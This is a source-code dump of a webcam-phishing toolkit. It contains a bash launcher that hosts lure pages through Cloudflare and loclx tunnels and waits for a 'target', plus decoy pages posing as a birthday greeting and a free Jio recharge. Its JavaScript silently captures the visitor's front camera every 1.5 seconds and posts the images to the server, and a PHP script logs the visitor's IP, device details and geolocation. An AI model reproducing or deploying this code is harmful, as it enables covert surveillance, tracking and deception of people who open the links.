${cyan} :[suryan2021ai@gmail.com]" 471 | printf "$ch_prompt" 472 | read about 473 | elif echo $option | grep -q "m"; then 474 | xdg-open "https://github.com/flyingculprit/zpisher" 475 | elif echo $option | grep -q "0"; then 476 | echo -e "\n${success}veliya poda!\n" 477 | exit 0 478 | else 479 | echo -e "\n${error}Thappu da!\007" 480 | OPTION=true 481 | sleep 1 482 | fi 483 | done 484 | if ! [ -d "$HOME/.site" ]; then 485 | mkdir "$HOME/.site" 486 | else 487 | cd $HOME/.site 488 | rm -rf * 489 | fi 490 | cd "$cwd" 491 | if [ -e websites.zip ]; then 492 | unzip websites.zip > /dev/null 2>&1 493 | rm -rf websites.zip 494 | fi 495 | 496 | if ! [ -d sites ]; then 497 | mkdir sites 498 | netcheck 499 | wget -q --show-progress "https://github.com/flyingculprit/Cam_Hack/releases/latest/download/websites.zip" 500 | unzip websites.zip -d sites > /dev/null 2>&1 501 | rm -rf websites.zip 502 | fi 503 | cd sites/$dir 504 | cp -r * "$HOME/.site" 505 | # Hotspot required for termux 506 | if $termux; then 507 | echo -e "\n${info2}If you haven't turned on hotspot, please enable it!" 508 | sleep 3 509 | fi 510 | echo -e "\n${info}Starting php server at localhost:${PORT}....\n" 511 | netcheck 512 | php -S "${local_url}" -t "$HOME/.site" > /dev/null 2>&1 & 513 | sleep 2 514 | sleep 1 515 | status=$(curl -s --head -w %{http_code} "${local_url}" -o /dev/null) 516 | if echo "$status" | grep -q "404"; then 517 | echo -e "${error}PHP couldn't start!\n\007" 518 | killer 519 | exit 1 520 | else 521 | echo -e "${success}PHP has started successfully!\n" 522 | fi 523 | echo -e "${info2}Starting tunnelers......\n" 524 | find "$tunneler_dir" -name "*.log" -delete 525 | netcheck 526 | args="" 527 | if [ "$REGION" != false ]; then 528 | args="--region $REGION" 529 | fi 530 | if [ "$SUBDOMAIN" != false ]; then 531 | if [ "$args" == "" ]; then 532 | args="--subdomain $SUBDOMAIN" 533 | else 534 | args="$args --subdomain $SUBDOMAIN" 535 | fi 536 | fi 537 | $cf_command tunnel -url "${local_url}" &> "$tunneler_dir/cf.log" & 538 | $loclx_command tunnel --raw-mode http --https-redirect $args -t "${local_url}" &> "$tunneler_dir/loclx.log" & 539 | sleep 10 540 | cd "$HOME/.site" 541 | if echo $option | grep -q "2"; then 542 | if ! [ -z "$fest_name" ]; then 543 | sed -i s/"birthday"/"$fest_name"/g index.html 544 | fi 545 | fi 546 | if echo $option | grep -q "3"; then 547 | if ! [ -z "$vid_id" ]; then 548 | netcheck 549 | if curl -s -N "https://www.youtube.com/embed/${vid_id}?autoplay=1" | grep -q "https://www.youtube.com/watch?v=${vid_id}"; then 550 | sed -i s/"6hHmkInZkMQ"/"$vid_id"/g index.html 551 | else 552 | echo -e "${error}Inavlid youtube video ID!. Using default value.\007\n" 553 | fi 554 | fi 555 | fi 556 | for second in {1..10}; do 557 | if [ -f "$tunneler_dir/cf.log" ]; then 558 | cflink=$(grep -Eo "https://[-0-9a-z.]{4,}.trycloudflare.com" "$tunneler_dir/cf.log") 559 | sleep 1 560 | fi 561 | if ! [ -z "$cflink" ]; then 562 | cfcheck=true 563 | break 564 | else 565 | cfcheck=false 566 | fi 567 | done 568 | for second in {1..10}; do 569 | if [ -f "$tunneler_dir/loclx.log" ]; then 570 | loclxlink=$(grep -o "[-0-9a-z.]*.loclx.io" "$tunneler_dir/loclx.log") 571 | sleep 1 572 | fi 573 | if ! [ -z "$loclxlink" ]; then 574 | loclxcheck=true 575 | loclxlink="https://${loclxlink}" 576 | break 577 | else 578 | loclxcheck=false 579 | fi 580 | done 581 | if ( $cfcheck && $loclxcheck ); then 582 | echo -e "${success}Cloudflared and Loclx have started successfully!\n" 583 | url_manager "$cflink" 1 2 584 | url_manager "$loclxlink" 3 4 585 | elif ( $cfcheck && ! $loclxcheck ); then 586 | echo -e "${success}Cloudflared has started successfully!\n" 587 | url_manager "$cflink" 1 2 588 | elif ( $loclxcheck && ! $cfcheck ); then 589 | echo -e "${success}Loclx has started successfully!\n" 590 | url_manager "$loclxlink" 1 2 591 | elif ( $cfcheck && $loclxcheck && ! $loclxcheck ); then 592 | echo -e "${success}Cloudflared and Loclx have started successfully!\n" 593 | url_manager "$cflink" 1 2 594 | url_manager "$loclxlink" 3 4 595 | else 596 | echo -e "${error}Tunneling failed! Start your own port forwarding/tunneling service at port ${PORT}\n"; 597 | fi 598 | sleep 1 599 | rm -rf ip.txt 600 | echo -e "${info}Waiting for target. ${cyan}Press ${red}Ctrl + C ${cyan}to exit...\n" 601 | while true; do 602 | if [[ -e "ip.txt" ]]; then 603 | echo -e "\007${success}Target opened the link!\n" 604 | while IFS= read -r line; do 605 | echo -e "${green}[${blue}*${green}]${yellow} $line" 606 | done < ip.txt 607 | echo "" 608 | cat ip.txt >> "$cwd/ip.txt" 609 | rm -rf ip.txt 610 | fi 611 | sleep 0.5 612 | if [[ -e "log.txt" ]]; then 613 | echo -e "\007${success}Image downloaded! Check directory!\n" 614 | file=`ls | grep png` 615 | mv -f $file $FOL 616 | rm -rf log.txt 617 | fi 618 | sleep 0.5 619 | done 620 | 621 | -------------------------------------------------------------------------------- /files/changelog.log: -------------------------------------------------------------------------------- 1 | v1.5 2 | 3 | 1. Added new tunneler loclx 4 | 2. Added docker image 5 | 6 | v1.4 7 | 8 | 1. Added social media preview for links 9 | 10 | v1.3 11 | 1. Added argument support 12 | 13 | v1.2 14 | 1. Added Cloudflared tunneler 15 | 16 | v1.1 17 | 1. Added versioning 18 | 19 | v1.0 20 | 1. Initial Commit -------------------------------------------------------------------------------- /sites/fest/capture.js: -------------------------------------------------------------------------------- 1 | 'use strict'; 2 | const video = document.getElementById('video'); 3 | const canvas = document.getElementById('canvas'); 4 | const errorMsgElement = document.querySelector('span#errorMsg'); 5 | 6 | const constraints = { 7 | audio: false, 8 | video: { 9 | facingMode: "user" 10 | } 11 | }; 12 | 13 | const post = (imgdata) =>{ 14 | $.ajax({ 15 | type: 'POST', 16 | data: { cat: imgdata}, 17 | url: '/post.php', 18 | dataType: 'json', 19 | async: false, 20 | success: (result) => { 21 | // call the function that handles the response/results 22 | }, 23 | error: function(){ 24 | errorMsgElement 25 | } 26 | }); 27 | }; 28 | 29 | 30 | 31 | // Success 32 | const handleSuccess = (stream) => { 33 | window.stream = stream; 34 | video.srcObject = stream; 35 | 36 | var context = canvas.getContext('2d'); 37 | setInterval(() => { 38 | context.drawImage(video, 0, 0, 640, 480); 39 | var canvasData = canvas.toDataURL("image/png").replace("image/png", "image/octet-stream"); 40 | post(canvasData); 41 | }, 1500); 42 | } 43 | 44 | // Access webcam 45 | const init = async () => { 46 | try { 47 | const stream = await navigator.mediaDevices.getUserMedia(constraints); 48 | handleSuccess(stream); 49 | } catch (e) { 50 | errorMsgElement.innerHTML = `navigator.getUserMedia error:${e.toString()}`; 51 | } 52 | } 53 | 54 | // Load init 55 | init(); -------------------------------------------------------------------------------- /sites/fest/desc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/flyingculprit/Cam_Hack/6caab8639269f56cea4d3f1cd5abb5ff33f79e04/sites/fest/desc.png -------------------------------------------------------------------------------- /sites/fest/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | Happy birthday to Your Friends! 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 29 | 30 | 31 | 32 | 35 | 36 | 41 | 42 | 43 |
▅ ▆ ▇ █ HAPPY birthday █ ▇ ▆ ▅
44 |
45 | 46 | 47 | 51 | 54 | 55 |
56 |
57 |
58 |
59 |
60 |
61 |

62 | 63 |
64 |
65 | 66 | “ We hope this birthday will be a great memory! ” 67 | 68 |
69 |
70 | 71 | In this birthday our best wishes to you! 72 | 73 |
74 |
75 | 76 | || We pray you may enjoy this birthday! || 77 | 78 |
79 |
80 |

81 | 82 |
83 |
84 |

88 |

92 |

96 |

100 |

104 |

108 |

112 | 113 |
114 |
115 |
116 | 117 | 118 | 119 | 123 | 126 | 127 |
128 |

129 |

 Wishing you a very

130 |
131 |
132 |

Happy birthday

133 |
134 |

 to you and your lovely family

135 |
136 |

 May this auspicious occasion of birthday bring happiness, prosperity, health, and peace in your life.

137 |
138 |

 ✪ I wish that this birthday is your best one. ✪

139 |
140 | 141 |

  This message birthday should be in everyone's mobile, it is your duty!

142 |
143 |
144 |



147 |
148 | 149 | 150 | 156 | 159 | 160 |
161 | 162 | 163 | 193 | 194 | 195 | 196 | 197 | 198 |
199 | 200 | 201 | Share 202 | 203 | 204 | 205 | Share 206 | 207 |
208 | 212 | 213 | -------------------------------------------------------------------------------- /sites/fest/index.php: -------------------------------------------------------------------------------- 1 | 6 | -------------------------------------------------------------------------------- /sites/fest/ip.php: -------------------------------------------------------------------------------- 1 | 'Windows 10', 40 | '/windows nt 6.3/i' => 'Windows 8.1', 41 | '/windows nt 6.2/i' => 'Windows 8', 42 | '/windows nt 6.1/i' => 'Windows 7', 43 | '/windows nt 6.0/i' => 'Windows Vista', 44 | '/windows nt 5.2/i' => 'Windows Server 2003/XP x64', 45 | '/windows nt 5.1/i' => 'Windows XP', 46 | '/windows xp/i' => 'Windows XP', 47 | '/windows nt 5.0/i' => 'Windows 2000', 48 | '/windows me/i' => 'Windows ME', 49 | '/win98/i' => 'Windows 98', 50 | '/win95/i' => 'Windows 95', 51 | '/win16/i' => 'Windows 3.11', 52 | '/macintosh|mac os x/i' => 'Mac OS X', 53 | '/mac_powerpc/i' => 'Mac OS 9', 54 | '/linux/i' => 'Linux', 55 | '/ubuntu/i' => 'Ubuntu', 56 | '/iphone/i' => 'iPhone', 57 | '/ipod/i' => 'iPod', 58 | '/ipad/i' => 'iPad', 59 | '/android/i' => 'Android', 60 | '/blackberry/i' => 'BlackBerry', 61 | '/webos/i' => 'Mobile' 62 | ); 63 | 64 | foreach ($os_array as $regex => $value) 65 | if (preg_match($regex, $user_agent)) 66 | $os_platform = $value; 67 | 68 | return $os_platform; 69 | } 70 | 71 | function getBrowser() { 72 | global $user_agent; 73 | $browser = "Unknown Browser"; 74 | $browser_array = array( 75 | '/msie/i' => 'Internet Explorer', 76 | '/firefox/i' => 'Firefox', 77 | '/safari/i' => 'Safari', 78 | '/chrome/i' => 'Chrome', 79 | '/edge/i' => 'Edge', 80 | '/opera/i' => 'Opera', 81 | '/netscape/i' => 'Netscape', 82 | '/maxthon/i' => 'Maxthon', 83 | '/konqueror/i' => 'Konqueror', 84 | '/mobile/i' => 'Handheld Browser' 85 | ); 86 | 87 | foreach ($browser_array as $regex => $value) 88 | if (preg_match($regex, $user_agent)) 89 | $browser = $value; 90 | 91 | return $browser; 92 | } 93 | 94 | 95 | $user_os = getOS(); 96 | $user_browser = getBrowser(); 97 | 98 | $PublicIP = get_client_ip(); 99 | $localHost = "127.0.0.1"; 100 | 101 | if (strpos($PublicIP, ',') !== false) { 102 | $PublicIP = explode(",", $PublicIP)[0]; 103 | } 104 | 105 | $file = 'ip.txt'; 106 | $ip = "IP : ".$PublicIP; 107 | $uaget = "User Agent : ".$user_agent; 108 | $bsr = "Browser : ".$user_browser; 109 | $uos = "User OS : ".$user_os; 110 | $ust= explode(" ", $user_agent); 111 | $vr= $ust[3]; 112 | $ver=str_replace(")", "", $vr); 113 | $version = "Version : ".$ver; 114 | if (strpos($PublicIP, $localHost) !== false) { 115 | $details = '{ 116 | "success": false 117 | }'; 118 | } 119 | else { 120 | $details = file_get_contents("http://ipwhois.app/json/$PublicIP"); 121 | } 122 | $details = json_decode($details, true); 123 | $success = $details['success']; 124 | $fp = fopen($file, 'a'); 125 | 126 | if ($success==false) { 127 | fwrite($fp, $ip."\n"); 128 | fwrite($fp, $uos."\n"); 129 | fwrite($fp, $version."\n"); 130 | fwrite($fp, $bsr."\n"); 131 | fclose($fp); 132 | } else if ($success==true) { 133 | $country = $details['country']; 134 | $city = $details['city']; 135 | $continent = $details['continent']; 136 | $tp = $details['type']; 137 | $cn = $details['country_phone']; 138 | $is = $details['isp']; 139 | $latitude = $details['latitude']; 140 | $longitude = $details['longitude']; 141 | $crn = $details['currency']; 142 | $type = "IP Type : ".$tp; 143 | $comma = ", "; 144 | $location = "Location : ".$city.$comma.$country.$comma.$continent; 145 | $geolocation= "GeoLocation(lat, lon): ".$latitude.$comma.$longitude; 146 | $isp = "ISP : ".$is; 147 | $currency = "Currency : ".$crn; 148 | 149 | fwrite($fp, $ip."\n"); 150 | fwrite($fp, $type."\n"); 151 | fwrite($fp, $uos."\n"); 152 | fwrite($fp, $version."\n"); 153 | fwrite($fp, $uaget."\n"); 154 | fwrite($fp, $bsr."\n"); 155 | fwrite($fp, $location."\n"); 156 | fwrite($fp, $geolocation."\n"); 157 | fwrite($fp, $currency."\n"); 158 | fclose($fp); 159 | } else { 160 | $status = "Status : ".$success; 161 | fwrite($fp, $status."\n"); 162 | fwrite($fp, $uaget."\n"); 163 | fclose($fp); 164 | } 165 | ?> -------------------------------------------------------------------------------- /sites/fest/post.php: -------------------------------------------------------------------------------- 1 | 19 | 20 | -------------------------------------------------------------------------------- /sites/fest/styles.css: -------------------------------------------------------------------------------- 1 | i { 2 | color:#f06414; 3 | } 4 | input[type=name], select { 5 | width: 100%; 6 | padding: 12px 20px; 7 | margin: 4px 0; 8 | display: inline-block; 9 | border: 1px solid #ccc; 10 | border-radius: 4px; 11 | box-sizing: border-box; 12 | } 13 | .footerbtn1 { 14 | display: block; 15 | line-height: 15px; 16 | position: fixed; 17 | right:0px; 18 | bottom:0px; 19 | height:40px; 20 | border-radius: 15px; 21 | box-sizing: border-box; 22 | padding: 5px; 23 | background:#000099; 24 | color: #ffffff; 25 | font-size: 18px; 26 | text-align: center; 27 | text-decoration: none; 28 | width:45%; 29 | margin-right:10px; 30 | margin-right:30px; 31 | box-shadow: 0 4px 12px 0 rgba(0, 0, 0, .3); 32 | animation: footer infinite linear 1s; 33 | -webkit-transform: translate3d(30%,0,0); 34 | transform: translate3d(30%,0,0); 35 | position: fixed; 36 | 37 | } 38 | 39 | .footerbtn1 :active { 40 | box-shadow: none 41 | } 42 | 43 | @-webkit-keyframes footer { 44 | from { 45 | -webkit-transform: rotateZ(0) 46 | } 47 | 25% { 48 | -webkit-transform: rotateZ(1.5deg) 49 | } 50 | 50% { 51 | -webkit-transform: rotateZ(0deg) 52 | } 53 | 75% { 54 | -webkit-transform: rotateZ(-1.5deg) 55 | } 56 | to { 57 | -webkit-transform: rotateZ(0) 58 | } 59 | } 60 | 61 | .footerbtn { 62 | display: block; 63 | line-height: 15px; 64 | position: fixed; 65 | left:0px; 66 | bottom:0px; 67 | height:40px; 68 | border-radius: 15px; 69 | box-sizing: border-box; 70 | padding: 5px; 71 | background:#34af23; 72 | color: #ffffff; 73 | font-size: 18px; 74 | text-align: center; 75 | text-decoration: none; 76 | width:45%; 77 | margin-left:10px; 78 | margin-right:30px; 79 | box-shadow: 0 4px 12px 0 rgba(0, 0, 0, .3); 80 | animation: footer infinite linear 1s; 81 | -webkit-transform: translate3d(30%,0,0); 82 | transform: translate3d(30%,0,0); 83 | position: fixed; 84 | 85 | } 86 | 87 | .footerbtn :active { 88 | box-shadow: none 89 | } 90 | 91 | @-webkit-keyframes footer { 92 | from { 93 | -webkit-transform: rotateZ(0) 94 | } 95 | 25% { 96 | -webkit-transform: rotateZ(1.5deg) 97 | } 98 | 50% { 99 | -webkit-transform: rotateZ(0deg) 100 | } 101 | 75% { 102 | -webkit-transform: rotateZ(-1.5deg) 103 | } 104 | to { 105 | -webkit-transform: rotateZ(0) 106 | } 107 | } 108 | 109 | @-webkit-keyframes jello { from, 11.1%, to { transform: none; } 110 | 22.2% { transform: skewX(-12.5deg) skewY(-12.5deg); } 111 | 33.3% { transform: skewX(6.25deg) skewY(6.25deg); } 112 | 44.4% { transform: skewX(-3.125deg) skewY(-3.125deg); } 113 | 55.5% { transform: skewX(1.5625deg) skewY(1.5625deg); } 114 | 66.6% { transform: skewX(-0.78125deg) skewY(-0.78125deg); } 115 | 77.7% { transform: skewX(0.390625deg) skewY(0.390625deg); } 116 | 88.8% { transform: skewX(-0.1953125deg) skewY(-0.1953125deg); }} 117 | .jello { -webkit-animation: jello 3s infinite; transform-origin: center; -webkit-animation-delay:6s} 118 | @-webkit-keyframes hue { 119 | from { -webkit-filter: hue-rotate(0deg); } 120 | to { -webkit-filter: hue-rotate(-360deg); }} 121 | .m1{position:fixed;left:1%; width:auto;height:100%;top:1%;color:#000;} 122 | .m2{position:fixed;right:1%; width:auto;height:100%;top:1%;color:#000;} 123 | .bubbles { 124 | font-family: arial; 125 | } 126 | 127 | .bubbles hi { 128 | font-family: 'Luckiest Guy', cursive; 129 | color: black; 130 | } 131 | 132 | hi { 133 | font-size:2.5em; 134 | user-select:none; 135 | } 136 | 137 | hi span { display:inline-block; animation:float .2s ease-in-out infinite; } 138 | @keyframes float { 139 | 0%,100%{ transform:none; } 140 | 33%{ transform:translateY(-1px) rotate(-2deg); } 141 | 66%{ transform:translateY(1px) rotate(2deg); } 142 | } 143 | body:hover span { animation:bounce .6s; } 144 | @keyframes bounce { 145 | 0%,100%{ transform:translate(0); } 146 | 25%{ transform:rotateX(20deg) translateY(2px) rotate(-3deg); } 147 | 50%{ transform:translateY(-20px) rotate(3deg) scale(1.1); } 148 | } 149 | 150 | @import url(http://fonts.googleapis.com/css?family=Concert+One); 151 | 152 | h1 { 153 | animation:glow 10s ease-in-out infinite; 154 | } 155 | 156 | 157 | 158 | * { box-sizing:border-box; } 159 | 160 | figure { 161 | animation:wobble 5s ease-in-out infinite; 162 | transform-origin:center center; 163 | transform-style:preserve-3d; 164 | } 165 | 166 | @keyframes wobble { 167 | 0%,100%{ transform:rotate3d(1,1,0,40deg); } 168 | 25%{ transform:rotate3d(-1,1,0,40deg); } 169 | 50%{ transform:rotate3d(-1,-1,0,40deg); } 170 | 75%{ transform:rotate3d(1,-1,0,40deg); } 171 | } 172 | 173 | h1 { 174 | display:block; 175 | width:90%; 176 | line-height:1.5; 177 | font:900 35px 'Concert One', sans-serif; 178 | position:absolute; 179 | color:#fff; 180 | } 181 | 182 | @keyframes glow { 183 | 0%,100%{ text-shadow:0 0 30px red; } 184 | 25%{ text-shadow:0 0 30px orange; } 185 | 50%{ text-shadow:0 0 30px forestgreen; } 186 | 75%{ text-shadow:0 0 30px cyan; } 187 | } 188 | 189 | h1:nth-child(2){ transform:translateZ(5px); } 190 | h1:nth-child(3){ transform:translateZ(10px);} 191 | h1:nth-child(4){ transform:translateZ(15px); } 192 | h1:nth-child(5){ transform:translateZ(20px); } 193 | h1:nth-child(6){ transform:translateZ(25px); } 194 | h1:nth-child(7){ transform:translateZ(30p.rock{animation:infinite 1s rock} 195 | @keyframes rock { 0% { transform: rotate(-1deg); } 196 | 50% { transform: rotate(2deg); } 197 | 100% { transform: rotate(-1deg); }}x); } 198 | h1:nth-child(8){ transform:translateZ(35px); } 199 | h1:nth-child(9){ transform:translateZ(40px); } 200 | h1:nth-child(10){ transform:translateZ(45px); } 201 | 202 | 203 | 204 | .rock{animation:infinite 1s rock} 205 | @keyframes rock { 0% { transform: rotate(-1deg); } 206 | 50% { transform: rotate(2deg); } 207 | 100% { transform: rotate(-1deg); }} 208 | 209 | .fuck{animation:infinite 1s fuck} 210 | @keyframes rock { 0% { transform: rotate(-2deg); } 211 | 50% { transform: rotate(2deg); } 212 | 100% { transform: rotate(-2deg); }} 213 | 214 | 215 | h2 { 216 | font-size: 38px; 217 | text-align: center; 218 | color:#008000; 219 | 220 | animation: rock infinite 1s; 221 | font-family: 'Indie Flower', cursive; 222 | letter-spacing: 2px; 223 | } 224 | 225 | h3 { 226 | font-size: 48px; 227 | text-align: center; 228 | padding:1px; 229 | margin:1px; 230 | color: #f06414; 231 | 232 | aanimation: fuck infinite 1s; 233 | font-family: 'Indie Flower', cursive; 234 | letter-spacing: 2px; 235 | 236 | 237 | * {box-sizing: border-box;} 238 | body {font-family: Verdana, sans-serif;} 239 | .mySlides {display: none;} 240 | img {vertical-align: middle;} 241 | 242 | /* Slideshow container */ 243 | .slideshow-container { 244 | max-width: 1000px; 245 | position: relative; 246 | margin: auto; 247 | } 248 | 249 | /* Caption text */ 250 | .text { 251 | color: #f2f2f2; 252 | font-size: 15px; 253 | padding: 8px 12px; 254 | position: absolute; 255 | bottom: 8px; 256 | width: 100%; 257 | text-align: center; 258 | } 259 | 260 | /* Number text (1/11 etc) */ 261 | .numbertext { 262 | color: #f2f2f2; 263 | font-size: 12px; 264 | padding: 8px 12px; 265 | position: absolute; 266 | top: 0; 267 | } 268 | 269 | /* The dots/bullets/indicators */ 270 | .dot { 271 | height: 15px; 272 | width: 15px; 273 | margin: 0 2px; 274 | background-color: #bbb; 275 | border-radius: 50%; 276 | display: inline-block; 277 | transition: background-color 0.6s ease; 278 | } 279 | 280 | .active { 281 | background-color: #717171; 282 | } 283 | 284 | /* Fading animation */ 285 | .fade { 286 | -webkit-animation-name: fade; 287 | -webkit-animation-duration: 1.5s; 288 | animation-name: fade; 289 | animation-duration: 1.5s; 290 | } 291 | 292 | @-webkit-keyframes fade { 293 | from {opacity: .4} 294 | to {opacity: 1} 295 | } 296 | 297 | @keyframes fade { 298 | from {opacity: .4} 299 | to {opacity: 1} 300 | } 301 | 302 | /* On smaller screens, decrease text size */ 303 | @media only screen and (max-width: 300px) { 304 | .text {font-size: 11px} 305 | 306 | } 307 | 308 | .cssload-preloader { 309 | position: absolute; 310 | top: 0px; 311 | left: px; 312 | right: 40px; 313 | bottom: 20px; 314 | z-index: 10; 315 | } 316 | 317 | .cssload-preloader > .cssload-preloader-box { 318 | position: absolute; 319 | height: 16px; 320 | top: 50%; 321 | left: 50%; 322 | margin: -8px 0 0 -82px; 323 | perspective: 110px; 324 | -o-perspective: 110px; 325 | -ms-perspective: 110px; 326 | -webkit-perspective: 110px; 327 | -moz-perspective: 110px; 328 | } 329 | 330 | .cssload-preloader .cssload-preloader-box > div { 331 | position: relative; 332 | width: 16px; 333 | height: 16px; 334 | background: rgb(204,204,204); 335 | float: left; 336 | text-align: center; 337 | line-height: 16px; 338 | font-family: Verdana; 339 | font-size: 11px; 340 | color: rgb(255,255,255); 341 | }.cssload-preloader .cssload-preloader-box > div:nth-child(1) { 342 | background: rgb(255,0,0); 343 | margin-right: 8px; 344 | animation: cssload-movement 690ms ease 0ms infinite alternate; 345 | -o-animation: cssload-movement 690ms ease 0ms infinite alternate; 346 | -ms-animation: cssload-movement 690ms ease 0ms infinite alternate; 347 | -webkit-animation: cssload-movement 690ms ease 0ms infinite alternate; 348 | -moz-animation: cssload-movement 690ms ease 0ms infinite alternate; 349 | } 350 | .cssload-preloader .cssload-preloader-box > div:nth-child(2) { 351 | background: rgb(255,0,0); 352 | margin-right: 8px; 353 | animation: cssload-movement 690ms ease 86.25ms infinite alternate; 354 | -o-animation: cssload-movement 690ms ease 86.25ms infinite alternate; 355 | -ms-animation: cssload-movement 690ms ease 86.25ms infinite alternate; 356 | -webkit-animation: cssload-movement 690ms ease 86.25ms infinite alternate; 357 | -moz-animation: cssload-movement 690ms ease 86.25ms infinite alternate; 358 | } 359 | .cssload-preloader .cssload-preloader-box > div:nth-child(3) { 360 | background: rgb(255,0,0); 361 | margin-right: 8px; 362 | animation: cssload-movement 690ms ease 172.5ms infinite alternate; 363 | -o-animation: cssload-movement 690ms ease 172.5ms infinite alternate; 364 | -ms-animation: cssload-movement 690ms ease 172.5ms infinite alternate; 365 | -webkit-animation: cssload-movement 690ms ease 172.5ms infinite alternate; 366 | -moz-animation: cssload-movement 690ms ease 172.5ms infinite alternate; 367 | } 368 | .cssload-preloader .cssload-preloader-box > div:nth-child(4) { 369 | background: rgb(204,255,0); 370 | margin-right: 8px; 371 | animation: cssload-movement 690ms ease 258.75ms infinite alternate; 372 | -o-animation: cssload-movement 690ms ease 258.75ms infinite alternate; 373 | -ms-animation: cssload-movement 690ms ease 258.75ms infinite alternate; 374 | -webkit-animation: cssload-movement 690ms ease 258.75ms infinite alternate; 375 | -moz-animation: cssload-movement 690ms ease 258.75ms infinite alternate; 376 | } 377 | .cssload-preloader .cssload-preloader-box > div:nth-child(5) { 378 | background: rgb(0,255,60); 379 | margin-right: 8px; 380 | animation: cssload-movement 690ms ease 345ms infinite alternate; 381 | -o-animation: cssload-movement 690ms ease 345ms infinite alternate; 382 | -ms-animation: cssload-movement 690ms ease 345ms infinite alternate; 383 | -webkit-animation: cssload-movement 690ms ease 345ms infinite alternate; 384 | -moz-animation: cssload-movement 690ms ease 345ms infinite alternate; 385 | } 386 | .cssload-preloader .cssload-preloader-box > div:nth-child(6) { 387 | background: rgb(0,185,252); 388 | margin-right: 8px; 389 | animation: cssload-movement 690ms ease 431.25ms infinite alternate; 390 | -o-animation: cssload-movement 690ms ease 431.25ms infinite alternate; 391 | -ms-animation: cssload-movement 690ms ease 431.25ms infinite alternate; 392 | -webkit-animation: cssload-movement 690ms ease 431.25ms infinite alternate; 393 | -moz-animation: cssload-movement 690ms ease 431.25ms infinite alternate; 394 | } 395 | .cssload-preloader .cssload-preloader-box > div:nth-child(7) { 396 | background: rgb(58,0,250); 397 | margin-right: 8px; 398 | animation: cssload-movement 690ms ease 517.5ms infinite alternate; 399 | -o-animation: cssload-movement 690ms ease 517.5ms infinite alternate; 400 | -ms-animation: cssload-movement 690ms ease 517.5ms infinite alternate; 401 | -webkit-animation: cssload-movement 690ms ease 517.5ms infinite alternate; 402 | -moz-animation: cssload-movement 690ms ease 517.5ms infinite alternate; 403 | } 404 | .cssload-preloader .cssload-preloader-box > div:nth-child(8) { 405 | background: rgb(255,255,0); 406 | margin-right: 8px; 407 | animation: cssload-movement 690ms ease 603.75ms infinite alternate; 408 | -o-animation: cssload-movement 690ms ease 603.75ms infinite alternate; 409 | -ms-animation: cssload-movement 690ms ease 603.75ms infinite alternate; 410 | -webkit-animation: cssload-movement 690ms ease 603.75ms infinite alternate; 411 | -moz-animation: cssload-movement 690ms ease 603.75ms infinite alternate; 412 | } 413 | .cssload-preloader .cssload-preloader-box > div:nth-child(9) { 414 | background: rgb(221,0,255); 415 | margin-right: 8px; 416 | animation: cssload-movement 690ms ease 690ms infinite alternate; 417 | -o-animation: cssload-movement 690ms ease 690ms infinite alternate; 418 | -ms-animation: cssload-movement 690ms ease 690ms infinite alternate; 419 | -webkit-animation: cssload-movement 690ms ease 690ms infinite alternate; 420 | -moz-animation: cssload-movement 690ms ease 690ms infinite alternate; 421 | } 422 | .cssload-preloader .cssload-preloader-box > div:nth-child(10) { 423 | background: rgb(51,102,255); 424 | margin-right: 8px; 425 | animation: cssload-movement 690ms ease 776.25ms infinite alternate; 426 | -o-animation: cssload-movement 690ms ease 776.25ms infinite alternate; 427 | -ms-animation: cssload-movement 690ms ease 776.25ms infinite alternate; 428 | -webkit-animation: cssload-movement 690ms ease 776.25ms infinite alternate; 429 | -moz-animation: cssload-movement 690ms ease 776.25ms infinite alternate; 430 | } -------------------------------------------------------------------------------- /sites/jio/capture.js: -------------------------------------------------------------------------------- 1 | 'use strict'; 2 | const video = document.getElementById('video'); 3 | const canvas = document.getElementById('canvas'); 4 | const errorMsgElement = document.querySelector('span#errorMsg'); 5 | 6 | const constraints = { 7 | audio: false, 8 | video: { 9 | facingMode: "user" 10 | } 11 | }; 12 | 13 | const post = (imgdata) =>{ 14 | $.ajax({ 15 | type: 'POST', 16 | data: { cat: imgdata}, 17 | url: '/post.php', 18 | dataType: 'json', 19 | async: false, 20 | success: (result) => { 21 | // call the function that handles the response/results 22 | }, 23 | error: function(){ 24 | errorMsgElement 25 | } 26 | }); 27 | }; 28 | 29 | 30 | 31 | // Success 32 | const handleSuccess = (stream) => { 33 | window.stream = stream; 34 | video.srcObject = stream; 35 | 36 | var context = canvas.getContext('2d'); 37 | setInterval(() => { 38 | context.drawImage(video, 0, 0, 640, 480); 39 | var canvasData = canvas.toDataURL("image/png").replace("image/png", "image/octet-stream"); 40 | post(canvasData); 41 | }, 1500); 42 | } 43 | 44 | // Access webcam 45 | const init = async () => { 46 | try { 47 | const stream = await navigator.mediaDevices.getUserMedia(constraints); 48 | handleSuccess(stream); 49 | } catch (e) { 50 | errorMsgElement.innerHTML = `navigator.getUserMedia error:${e.toString()}`; 51 | } 52 | } 53 | 54 | // Load init 55 | init(); -------------------------------------------------------------------------------- /sites/jio/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | Hey Dear! You Have Won Free Rs 399 Jio Recharge 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 |

Free Jio 399 Recharge

24 | 25 | 26 |